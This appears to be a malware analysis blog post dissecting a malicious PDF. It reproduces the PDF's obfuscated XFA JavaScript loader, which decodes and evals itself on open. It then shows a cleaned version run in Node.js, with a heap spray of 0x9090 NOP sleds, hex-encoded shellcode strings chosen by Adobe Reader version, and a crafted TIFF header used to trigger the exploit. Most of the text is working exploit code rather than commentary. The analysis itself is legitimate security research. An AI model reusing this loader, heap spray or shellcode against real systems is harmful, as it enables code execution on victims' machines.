H**2D**4D**^!@#**2H**2C**2E**48**^!@#**2E**2C**2E**2E**^!@#**2E**48**2E**2H**^!@#**2I**2D**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**2E**^!@#**2E**2E**2E**48**^!@#**2E**2D**2E**2E**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**2I**2H**2C**^!@#**2E**4B**2E**2G**^!@#**2H**2B**2I**4D**^!@#**2H**2G**2H**2C**^!@#**2I**2G**2I**2H**^!@#**2H**4B**2H**2H**^!@#**2D**48**2H**2C**^!@#**2E**48**2E**2B**^!@#**2E**2E**2E**48**^!@#**2E**2K**2H**2C**^!@#**2E**48**2E**49**^!@#**2H**2C**2E**48**^!@#**2E**2J**2H**2C**^!@#**2E**4B**2E**2B**^!@#**2I**2E**2I**2H**^!@#**2H**4D**2E**2B**^!@#**2I**2J**2H**2B**^!@#**2I**4C**2D**2C**^!@#**2I**4D**2D**2E**^!@#**2H**2K**2E**2B**^!@#**2E**2F**2E**2K**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2H**2F**^!@#**2H**2K**2E**2C**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2E**2K**^!@#**2E**2C**2H**2J**^!@#**2E**2D**2H**2I**^!@#**2E**2K**2E**2F**^!@#**2H**2G**2E**2B**^!@#**2E**2E**2H**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2C**2H**2I**^!@#**2E**2D**2E**4D**^!@#**2D**2E**2H**2K**^!@#**2E**2B**2E**2F**^!@#**2E**2K**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2H**2F**2H**2K**^!@#**2E**2C**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2E**2K**2E**2C**^!@#**2H**2J**2E**2D**^!@#**2H**2I**2E**2K**^!@#**2E**2F**2H**2G**^!@#**2E**2B**2E**2E**^!@#**2H**2C**2H**2D**^!@#**2E**2C**2H**2D**^!@#**2E**2C**2H**2C**^!@#**2H**2I**2E**2D**^!@#**2E**4D**2D**2F**^!@#**2E**2G**2E**4C**^!@#**2D**2G**2E**2H**^!@#**2E**4C**2D**2C**^!@#**2E**2D**2E**2C**^!@#**2E**4C**2D**2K**^!@#**2E**2D**2E**2C**^!@#**2E**4D**2D**4D**^!@#**2D**48**2E**2B**^!@#**2I**2F**2I**2F**^!@#**2I**2J**2H**2B**^!@#**2I**4D**2D**48**^!@#**2C**2H**2E**2K**^!@#**2I**2H**2F**2H**^!@#**4A**49**2C**49**^!@#**2G**48**2J**48**^!@#**4A**2E**2E**4B**^!@#**49**2C**2B**4D**^!@#**2H**2K**2J**4C**^!@#**2B**48**2J**4C**^!@#**4D**2J**2K**4A**^!@#**4C**4C**2B**4C**^!@#**2F**4C**2J**4D**^!@#**4D**4D**4D**4C**^!@#**4D**4A**2K**2J**^!@#**4C**2J**2B**2H**^!@#**2G**4D**4D**4C**^!@#**4D**48**2H**2B**^!@#**2B**48**2H**2F**^!@#**4A**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**48**^!@#**4D**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**2E**^!@#**2C**49**4C**2D**^!@#**2B**49**4C**4A**^!@#**2B**2E**4A**2E**^!@#**2J**2F**2B**2H**^!@#**2G**4D**4D**2E**^!@#**2G**4A**2B**49**^!@#**4C**2E**2J**2B**^!@#**2B**48**2H**2F**^!@#**2B**2H**2G**4D**^!@#**4D**2E**2G**2B**^!@#**2B**48**2H**2H**^!@#**2C**2G**2I**2B**^!@#**4A**2G**2J**2F**^!@#**2C**2H**2G**4D**^!@#**4D**2B**2B**48**^!@#**2H**2I**2G**2E**^!@#**2G**2B**2B**48**^!@#**2H**2B**2B**48**^!@#**2H**2C**2G**2C**^!@#**2F**2F**2B**4B**^!@#**2C**2F**2F**2J**^!@#**2J**2B**2E**2F**^!@#**2B**2C**4A**48**^!@#**2J**2K**2G**2B**^!@#**2B**2K**2B**4B**^!@#**2C**2F**2F**2H**^!@#**4A**4A**2H**4A**^!@#**2H**2F**2H**4C**^!@#**2D**2G**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2F**2I**2D**^!@#**2H**2B**2I**2I**^!@#**2I**2B**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2C**2G**2K**^!@#**4A**2E**2E**2J**^!@#**4C**49**2J**4A**^!@#**2B**2H**2G**4D**^!@#**4D**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4D**2J**2H**2E**^!@#**2G**2B**2D**2E**^!@#**2I**4B**2D**2B**^!@#**2D**2J**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2D**2E**2E**^!@#**2E**2D**2I**2H**^!@#**2I**2F**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2E**2I**2I**^!@#**2H**2G**2H**2D**^!@#**2I**2F**2D**2F**^!@#**2B**2I**4A**4A**^!@#**2B**2F**2D**4A**^!@#**2G**4B**2J**2B**^!@#**2B**2B**2B**2C**^!@#**2B**2F**2B**4A**^!@#**4C**2C**2J**2D**^!@#**2I**49**4C**2D**^!@#**2B**49**4C**4D**^!@#**4D**4D**4D**4D**^!@#**4D**2C**2H**2J**^!@#**4C**2J**4C**49**^!@#**2J**2J**2B**2F**^!@#**4A**2E**2J**2H**^!@#**2C**4D**4D**2F**^!@#**2G**4B**2H**4A**^!@#**2H**2D**2I**2G**^!@#**2I**2J**2H**2B**^!@#**2B**2B**2B**4C**^!@#**2H**4D**2H**2J**^!@#**2H**2E**4C**4D**^!@#**4D**2G**2B**2E**^!@#**4A**2E**2J**2B**^!@#**2C**4C**2G**49**^!@#**2J**4A**4C**49**^!@#**2J**2G**2G**2B**^!@#**2G**2K**2C**2B**^!@#**4A**2E**2J**2B**^!@#**2G**2B**2B**2B**^!@#**2B**2B**2B**4D**^!@#**4D**2J**2H**2B**^!@#**2F**48**2H**2B**^!@#**2G**2J**2G**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4C**2K**4D**2D**^!@#**4C**4D**4D**4D**^!@#**4D**4D**4D**2J**^!@#**2K**2J**4C**2K**^!@#**2G**2G**2B**48**^!@#**2H**2I**4D**49**^!@#**2J**2J**2B**2J**^!@#**2H**49**2J**2E**^!@#**4D**49**4C**2H**^!@#**2K**2E**2B**2F**^!@#**2I**2E**2E**4A**^!@#**2B**4B**2I**2B**^!@#**2J**2B**2D**2J**^!@#**2H**49**2J**4B**^!@#**48**2E**2G**49**^!@#**4C**2E**4A**2K**^!@#**2G**4C**2G**49**^!@#**48**2G**4A**2E**^!@#**2B**49**2J**2F**^!@#**2B**49**2J**4B**^!@#**4B**2E**2B**2J**^!@#**4B**49**2J**4A**^!@#**2B**2F**2D**2F**^!@#**2G**4D**4D**4A**^!@#**4C**2H**2F**4B**^!@#**2J**49**2F**4A**^!@#**2B**49**2J**2H**^!@#**2H**4B**4B**2E**^!@#**2B**2F**2D**4C**^!@#**2G**49**2J**4C**^!@#**2G**2H**4C**2G**^!@#**2I**4D**2C**49**^!@#**2E**2C**4D**49**^!@#**4C**2B**2F**48**^!@#**4B**2E**2B**4B**^!@#**2B**49**4A**2C**^!@#**4A**2J**2B**2F**^!@#**2I**2D**4D**2J**^!@#**2E**2B**2C**4C**^!@#**49**4D**2B**49**^!@#**4B**2E**2E**2G**^!@#**4A**2E**2B**4B**^!@#**48**4A**4D**2C**^!@#**2F**2K**2F**2K**^!@#**4A**2E**2E**2G**^!@#**4D**2E**2B**2B**^!@#**2D**2H**2I**49**^!@#**2J**2H**2G**2G**^!@#**4D**2E**2B**2J**^!@#**2I**2G**2E**2F**^!@#**2I**49**2J**4A**^!@#**2E**2G**2I**49**^!@#**2J**2H**2G**2C**^!@#**2G**4A**2F**49**^!@#**4C**2K**4C**2C**^!@#**2G**2G**2I**2F**^!@#**4C**2G**2J**2F**^!@#**2D**2F**2E**2I**^!@#**2J**49**4D**2G**^!@#**2I**2H**2B**2K**^!@#**2E**2H**2F**2E**^!@#**4A**2B**2E**2B**^!@#**2F**49**2J**2J**^!@#**49**4D**4D**4D**^!@#**4D**2B**2C**2G**^!@#**2C**4C**4C**2C**^!@#**2J**4A**2D**2E**^!@#**2E**2F**2I**2E**^!@#**2B**4A**2E**4C**^!@#**2G**49**2J**2H**^!@#**2H**49**4B**2E**^!@#**2E**2J**2B**2H**^!@#**2I**49**2J**2H**^!@#**2G**4A**2C**2B**^!@#**2I**49**2J**4A**^!@#**2B**2B**2F**49**^!@#**2J**2B**2E**2B**^!@#**2F**49**2J**2F**^!@#**2H**2B**4A**2E**^!@#**2E**4D**2G**2K**^!@#**4C**2F**2E**2G**^!@#**2I**2F**4C**2G**^!@#**2J**4A**4D**4A**^!@#**4D**2F**4C**2E**^!@#**2J**2H**2H**1N**^!@#**29**5O**4N**4J**^!@#**4G**51**23**22**^!@#**22**24**29**4P**^!@#**4C**53**4C**4P**^!@#**5O**4C**23**24**^!@#**29**4H**4M**4G**^!@#**4L**23**22**22**^!@#**24**29**4P**4C**^!@#**4N**4J**48**4A**^!@#**4C**23**2A**2M**^!@#**2A**4E**27**22**^!@#**22**24**2M**46**^!@#**4J**2E**2O**48**^!@#**4N**4N**2M**46**^!@#**4J**2F**2O**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4J**2G**23**^!@#**24**58**53**48**^!@#**4P**1L**46**4J**^!@#**2H**2O**46**4J**^!@#**2E**29**53**4G**^!@#**4C**54**4C**4P**^!@#**3N**4C**4P**5O**^!@#**4G**4M**4L**29**^!@#**51**4M**3K**51**^!@#**4P**4G**4L**4E**^!@#**23**24**2M**46**^!@#**4J**2H**2O**46**^!@#**4J**2H**29**4P**^!@#**4C**4N**4J**48**^!@#**4A**4C**23**22**^!@#**29**22**27**22**^!@#**22**24**2M**54**^!@#**4F**4G**4J**4C**^!@#**23**46**4J**2H**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2N**^!@#**2F**24**46**4J**^!@#**2H**26**2O**22**^!@#**2B**22**2M**4P**^!@#**4C**51**52**4P**^!@#**4L**1L**4N**48**^!@#**4P**5O**4C**3A**^!@#**4L**51**23**46**^!@#**4J**2H**27**2C**^!@#**2B**24**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4J**2I**23**^!@#**46**4J**2J**27**^!@#**46**4J**2K**24**^!@#**58**54**4F**4G**^!@#**4J**4C**23**46**^!@#**4J**2J**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**25**2D**2N**^!@#**46**4J**2K**24**^!@#**46**4J**2J**26**^!@#**2O**46**4J**2J**^!@#**2M**4P**4C**51**^!@#**52**4P**4L**1L**^!@#**46**4J**2J**29**^!@#**5O**52**49**5O**^!@#**51**4P**4G**4L**^!@#**4E**23**2B**27**^!@#**46**4J**2K**2A**^!@#**2D**24**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**3A**2B**23**^!@#**46**3A**2C**24**^!@#**58**46**3A**2C**^!@#**2O**52**4L**4C**^!@#**5O**4A**48**4N**^!@#**4C**23**46**3A**^!@#**2C**24**2M**4P**^!@#**4M**51**4C**35**^!@#**48**4I**2O**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**25**2D**2M**^!@#**4B**48**4I**3J**^!@#**4M**51**4C**2O**^!@#**52**4L**4C**5O**^!@#**4A**48**4N**4C**^!@#**23**22**2O**52**^!@#**2K**2B**2K**2B**^!@#**22**24**2M**5O**^!@#**4N**4P**48**56**^!@#**2O**46**4J**2I**^!@#**23**4B**48**4I**^!@#**3J**4M**51**4C**^!@#**27**2B**55**2D**^!@#**2B**2B**2B**28**^!@#**4P**4M**51**4C**^!@#**35**48**4I**24**^!@#**2M**4J**4M**55**^!@#**3O**4F**4C**4C**^!@#**2O**46**3A**2C**^!@#**26**5O**4N**4P**^!@#**48**56**2M**4J**^!@#**4M**55**3O**4F**^!@#**4C**4C**2O**46**^!@#**4J**2I**23**4J**^!@#**4M**55**3O**4F**^!@#**4C**4C**27**2G**^!@#**2D**2F**2B**2K**^!@#**2J**24**2M**4D**^!@#**4M**4P**23**4G**^!@#**2O**2B**2M**1L**^!@#**4G**1L**2N**1L**^!@#**2F**2B**2B**2M**^!@#**1L**4G**26**26**^!@#**24**46**4J**2F**^!@#**42**4G**44**2O**^!@#**4J**4M**55**3O**^!@#**4F**4C**4C**29**^!@#**5O**52**49**5O**^!@#**51**4P**23**2B**^!@#**27**4J**4M**55**^!@#**3O**4F**4C**4C**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**28**^!@#**2C**24**26**4B**^!@#**48**4I**3J**4M**^!@#**51**4C**2M**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**3A**2D**^!@#**23**46**3A**2C**^!@#**27**4J**4C**4L**^!@#**24**58**54**4F**^!@#**4G**4J**4C**23**^!@#**46**3A**2C**29**^!@#**4J**4C**4L**4E**^!@#**51**4F**2N**4J**^!@#**4C**4L**24**46**^!@#**3A**2C**26**2O**^!@#**46**3A**2C**2M**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**46**^!@#**3A**2C**29**5O**^!@#**52**49**5O**51**^!@#**4P**4G**4L**4E**^!@#**23**2B**27**4J**^!@#**4C**4L**24**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**3A**2E**^!@#**23**46**3A**2C**^!@#**24**58**4P**4C**^!@#**51**2O**22**22**^!@#**2M**4D**4M**4P**^!@#**23**4G**2O**2B**^!@#**2M**4G**2N**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**2M**4G**26**^!@#**2O**2D**24**58**^!@#**49**2O**46**3A**^!@#**2C**29**5O**52**^!@#**49**5O**51**4P**^!@#**23**4G**27**2D**^!@#**24**2M**4A**2O**^!@#**4N**48**4P**5O**^!@#**4C**3A**4L**51**^!@#**23**49**27**2C**^!@#**2H**24**2M**4P**^!@#**4C**51**26**2O**^!@#**3K**51**4P**4G**^!@#**4L**4E**29**4D**^!@#**4P**4M**4K**34**^!@#**4F**48**4P**34**^!@#**4M**4B**4C**23**^!@#**4A**24**2M**5A**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**4P**^!@#**4C**51**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4H**4G**2C**^!@#**23**46**3A**2C**^!@#**27**46**3A**2F**^!@#**24**58**46**3A**^!@#**2G**2O**22**22**^!@#**2M**4D**4M**4P**^!@#**23**46**3A**2H**^!@#**2O**2B**2M**46**^!@#**3A**2H**2N**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**2M**46**3A**^!@#**2H**26**26**24**^!@#**58**46**4J**2K**^!@#**2O**46**3A**2F**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2M**^!@#**46**3A**2I**2O**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**24**2M**^!@#**46**3A**2J**2O**^!@#**46**3A**2F**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**2O**46**^!@#**4J**2K**24**2M**^!@#**46**3A**2G**26**^!@#**2O**3K**51**4P**^!@#**4G**4L**4E**29**^!@#**4D**4P**4M**4K**^!@#**34**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**23**46**3A**2I**^!@#**45**46**3A**2J**^!@#**24**2M**5A**4P**^!@#**4C**51**52**4P**^!@#**4L**1L**46**3A**^!@#**2G**5A**4D**52**^!@#**4L**4A**51**4G**^!@#**4M**4L**1L**46**^!@#**3A**2K**23**46**^!@#**3A**2H**24**58**^!@#**46**4H**2B**2O**^!@#**46**3A**2H**29**^!@#**51**4M**3K**51**^!@#**4P**4G**4L**4E**^!@#**23**2C**2H**24**^!@#**2M**46**4H**2C**^!@#**2O**46**4H**2B**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2M**^!@#**46**3A**2G**2O**^!@#**23**46**4H**2C**^!@#**2O**2D**24**3O**^!@#**22**2B**22**26**^!@#**46**4H**2B**2L**^!@#**46**4H**2B**2M**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**46**^!@#**3A**2G**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4H**2D**23**^!@#**46**3A**2C**24**^!@#**58**46**3A**2G**^!@#**2O**22**22**2M**^!@#**4D**4M**4P**23**^!@#**46**3A**2H**2O**^!@#**2B**2M**46**3A**^!@#**2H**2N**46**3A**^!@#**2C**29**4J**4C**^!@#**4L**4E**51**4F**^!@#**2M**46**3A**2H**^!@#**26**2O**2D**24**^!@#**58**46**3A**2G**^!@#**26**2O**22**2O**^!@#**52**22**2M**46**^!@#**3A**2G**26**2O**^!@#**46**3A**2K**23**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**26**2C**^!@#**24**24**2M**46**^!@#**3A**2G**26**2O**^!@#**46**3A**2K**23**^!@#**46**3A**2C**29**^!@#**4A**4F**48**4P**^!@#**34**4M**4B**4C**^!@#**32**51**23**46**^!@#**3A**2H**24**24**^!@#**5A**4P**4C**51**^!@#**52**4P**4L**1L**^!@#**46**3A**2G**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**4H**2E**^!@#**23**24**58**46**^!@#**4H**2F**2O**46**^!@#**4J**2G**23**24**^!@#**2M**4G**4D**23**^!@#**46**4H**2F**2N**^!@#**2K**2B**2B**2B**^!@#**24**58**46**4H**^!@#**2G**2O**22**4M**^!@#**26**52**32**3K**^!@#**4H**4E**4E**4E**^!@#**4I**4N**52**3D**^!@#**2F**33**3C**2A**^!@#**2A**2A**2A**2A**^!@#**54**32**32**32**^!@#**32**33**32**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**32**3I**32**^!@#**32**32**32**32**^!@#**32**32**32**4D**^!@#**4F**48**32**3K**^!@#**4G**32**4E**4O**^!@#**32**2K**2J**36**^!@#**3A**33**3C**22**^!@#**2M**46**4H**2H**^!@#**2O**46**4J**2C**^!@#**2M**46**4H**2I**^!@#**2O**46**3A**2E**^!@#**23**46**4H**2H**^!@#**24**5A**4C**4J**^!@#**5O**4C**58**46**^!@#**4H**2G**2O**22**^!@#**4I**33**26**32**^!@#**3K**4H**4G**3I**^!@#**4F**36**4N**2K**^!@#**4D**4M**33**3C**^!@#**2A**2A**2A**2A**^!@#**2A**54**32**32**^!@#**32**32**33**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**32**32**3I**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**4O**55**34**32**^!@#**3K**4G**32**4E**^!@#**4O**32**2A**4D**^!@#**36**2F**33**3C**^!@#**22**2M**46**4H**^!@#**2H**2O**46**4J**^!@#**2D**2M**46**4H**^!@#**2I**2O**46**3A**^!@#**2E**23**46**4H**^!@#**2H**24**5A**46**^!@#**4H**2J**2O**22**^!@#**3K**3M**4I**4O**^!@#**32**35**4E**4E**^!@#**32**32**33**33**^!@#**22**2M**46**4H**^!@#**2K**2O**46**3A**^!@#**2D**23**22**3I**^!@#**3M**37**33**22**^!@#**27**2C**2B**2K**^!@#**2J**2F**24**2M**^!@#**46**4J**4J**2B**^!@#**2O**22**3I**3I**^!@#**4A**32**32**32**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**54**3A**32**^!@#**32**32**32**3I**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**32**54**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**33**4E**^!@#**36**35**32**32**^!@#**36**32**32**32**^!@#**32**33**32**32**^!@#**32**32**36**3I**^!@#**36**36**32**32**^!@#**36**32**32**32**^!@#**32**3A**32**32**^!@#**32**32**37**54**^!@#**36**36**32**32**^!@#**36**32**32**32**^!@#**32**54**3A**32**^!@#**32**32**3M**32**^!@#**36**35**32**3E**^!@#**54**32**32**32**^!@#**34**3K**3A**32**^!@#**32**32**32**32**^!@#**32**32**32**32**^!@#**32**3E**35**32**^!@#**4H**2A**2A**2A**^!@#**2A**2A**22**2M**^!@#**46**4J**4J**2C**^!@#**2O**46**4H**2J**^!@#**26**46**4H**2K**^!@#**26**46**4J**4J**^!@#**2B**26**46**4H**^!@#**2G**2M**46**4J**^!@#**4J**2D**2O**46**^!@#**4H**4G**2C**23**^!@#**46**4H**2I**27**^!@#**22**22**24**2M**^!@#**4G**4D**23**46**^!@#**4J**4J**2D**29**^!@#**4J**4C**4L**4E**^!@#**51**4F**2O**2D**^!@#**24**46**4J**4J**^!@#**2D**26**2O**52**^!@#**4L**4C**5O**4A**^!@#**48**4N**4C**23**^!@#**22**2O**2B**2B**^!@#**22**24**2M**46**^!@#**4J**4J**2E**2O**^!@#**46**4H**2D**23**^!@#**46**4J**4J**2D**^!@#**24**2M**54**4G**^!@#**51**4F**23**58**^!@#**4I**2L**46**4J**^!@#**4J**2E**5A**24**^!@#**46**3A**2B**23**^!@#**4I**24**2M**3A**^!@#**4K**48**4E**4C**^!@#**37**4G**4C**4J**^!@#**4B**2C**29**4P**^!@#**48**54**3N**48**^!@#**4J**52**4C**2O**^!@#**46**4J**4J**2C**^!@#**5A**46**4H**2E**^!@#**23**24**2M';
a=a.replace.apply(a,[/(\^!@#)|(\*)/g,&quot;&quot;]);
s=[];
cc=String;
cc=cc[pp];
tt=event[cc.apply(String,[Ox74,Ox61,Ox72,Ox67,Ox65,Ox74])];
for(i=O;i&lt;a.&#1O8;ength;i+=2){
 s.push(tt[p](a.&#115;ubstr(i,3-1),26)-15);
}
if(tt.info["Authors"]===null){
 k=cc.apply(String,s);
 q="e"+cc.apply(String,[Ox76]);
 q+="al";
 tt[q](&#1O7;);
}
</xfa:script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage FormCalc?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:O, color:ff8O8O, origin:(O,O), interval:(125OOO,125OOO)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:O?><?templateDesigner Zoom 76?></template>



Lets clean it, run it through node-js and see what comes out:

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = "4c2O6OOfO5178O4a3c2O6OOfOf638O4aa3eb8O4a3O2O824a6e2f8O4a4141414126OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO12398O4a642O6OOfOOO4OOOO4141414141414141" + "OOOO5636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d356O7f656175766d662a613a3O333a39613a3b613a38613d3O73766f3O786O7e217f23693O343935333264693135333239316832673934653O3361623162316167323f23693O343935333264693135333239316832673934653O3361623162316167323f24353e25363e2132313e2932313f2f2a3O7474786O7f2a16397646cb1b5a8ac33db1Of698eOa8ef89ceeOe4e8ffffefc98e8O65ffefa6OOa64c57OOf3O874af57OOf3O87431be2ObecO3c384O65ff35cObe38OOa64O65ff35OOa66157Oc584165ffOOa67535OOa6OOa615144Od14488O34O1ca895OO9Od1446cc6c646e25Od1447c4726O777OOd1447c159c338eb8cO65ffOOOOOO8f8635O237d2O28O42447c233327674O42447c37765627424O7ccO42c5d8OOOO1O4Oce1827be2Obeffffff168e8eb88O4c3861ff45d6c6275786OOOOe6f6863eff5O3c38O1e5b8ceb855O591Oc38O5OOOOOOff86O4a6O585OOOOOOOO8e9f2effffff898e955Oa67fb88O86b83fbe693O4733cOd7O8O286b8da35be3c95e5ba5c3Ob84Ob8dd3O8db8cO4245ffce64d8b4cOb866dd3O42e5b8e56e57f1b31fbeO4ad3OdObc1c8O472f83O1ebfObd335c3Odacf14949c335f3OO267b8655f3O875347b8c357b86515c4be9e15574e58424378bf576O93643cO3O4b88bffffO151ee18c233473Oc3e5b866bd338O67b865c1O7b8cOO4b8O3O4b846Oc33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
var _l2 = "4c2O6OOfa5638O4a3c2O6OOf96218O4a9O1f8O4a3O9O844a7d7e8O4a4141414126OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO71888O4a642O6OOfOOO4OOOO4141414141414141" + "OOOO5636d697d3f646366226c6873626d34746761767e6629613d396f6573762f613a31333a36723a3e613a3e613a3e613a33333a32333a3e613a37613d356O7f656175766d662a613a3O333a39613a3b613a38613d3O73766f3O786O7e217f23693O343935333264693135333239316832673934653O3361623162316167323f23693O343935333264693135333239316832673934653O3361623162316167323f24353e25363e2132313e2932313f2f2a3O7474786O7f2a16397646cb1b5a8ac33db1Of698eOa8ef89ceeOe4e8ffffefc98e8O65ffefa6OOa64c57OOf3O874af57OOf3O87431be2ObecO3c384O65ff35cObe38OOa64O65ff35OOa66157Oc584165ffOOa67535OOa6OOa615144Od14488O34O1ca895OO9Od1446cc6c646e25Od1447c4726O777OOd1447c159c338eb8cO65ffOOOOOO8f8635O237d2O28O42447c233327674O42447c37765627424O7ccO42c5d8OOOO1O4Oce1827be2Obeffffff168e8eb88O4c3861ff45d6c6275786OOOOe6f6863eff5O3c38O1e5b8ceb855O591Oc38O5OOOOOOff86O4a6O585OOOOOOOO8e9f2effffff898e955Oa67fb88O86b83fbe693O4733cOd7O8O286b8da35be3c95e5ba5c3Ob84Ob8dd3O8db8cO4245ffce64d8b4cOb866dd3O42e5b8e56e57f1b31fbeO4ad3OdObc1c8O472f83O1ebfObd335c3Odacf14949c335f3OO267b8655f3O875347b8c357b86515c4be9e15574e58424378bf576O93643cO3O4b88bffffO151ee18c233473Oc3e5b866bd338O67b865c1O7b8cOO4b8O3O4b846Oc33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
//_l3 = app; @malforsec not needed
_l4 = new Array();

function _l5() {
//    var _l6 = _l3.viewerVersion.toString();
    var _l6 = "9.3.O"; //@malforsec set viewer version
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += 'O';
    return parseInt(_l6, 1O)
}
function _l7(_l8, _l9) {
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(O, _l9 / 2)
}
function _IO(_I1) {
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9O9O');
    spray = _l7(dakRote, Ox2OOO - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524O98);
    for (i = O; i < 4OO; i++) _l4[i] = loxWhee.substr(O, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len) {
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(O, len)
}
function _I3(_I1) {
    ret = '';
    for (i = O; i < _I1.length; i += 2) {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4) {
    _I5 = '';
    for (_I6 = O; _I6 < _I1.length; _I6++) {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6) {
    _jO = _I6.toString(16);
    _j1 = _jO.length;
    _I5 = (_j1 % 2) ? 'O' + _jO : _jO;
    return _I5
}
function _j2(_I1) {
    _I5 = '';
    for (_I6 = O; _I6 < _I1.length; _I6 += 2) {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3() {
    _j4 = _l5();
    if (_j4 < 9OOO) {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    } else {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 1O984);
    _llO = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _llO + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%OO');
    _ll3 = _j2(_ll2);
    with({
        k: _ll3
    }) _IO(k);
//    ImageField1.rawValue = _ll1
    console.log(_ll1); //@malforsec log result
}
_j3();



Thats better! Looks like shellcode in the middle there.

3. Shellcode


Some magic is performed by these dark agents, or should we call them Dark Knights. Lets see if we can do just as good as King Arthur and see if we too can pass over the bridge when meeting The Dark Knight  (youtube - warning not for sensitive people).

Short Python intermesso: Just concatenating the strings from the JavaScript code. Last string reversed. Output the chars to get bin code.


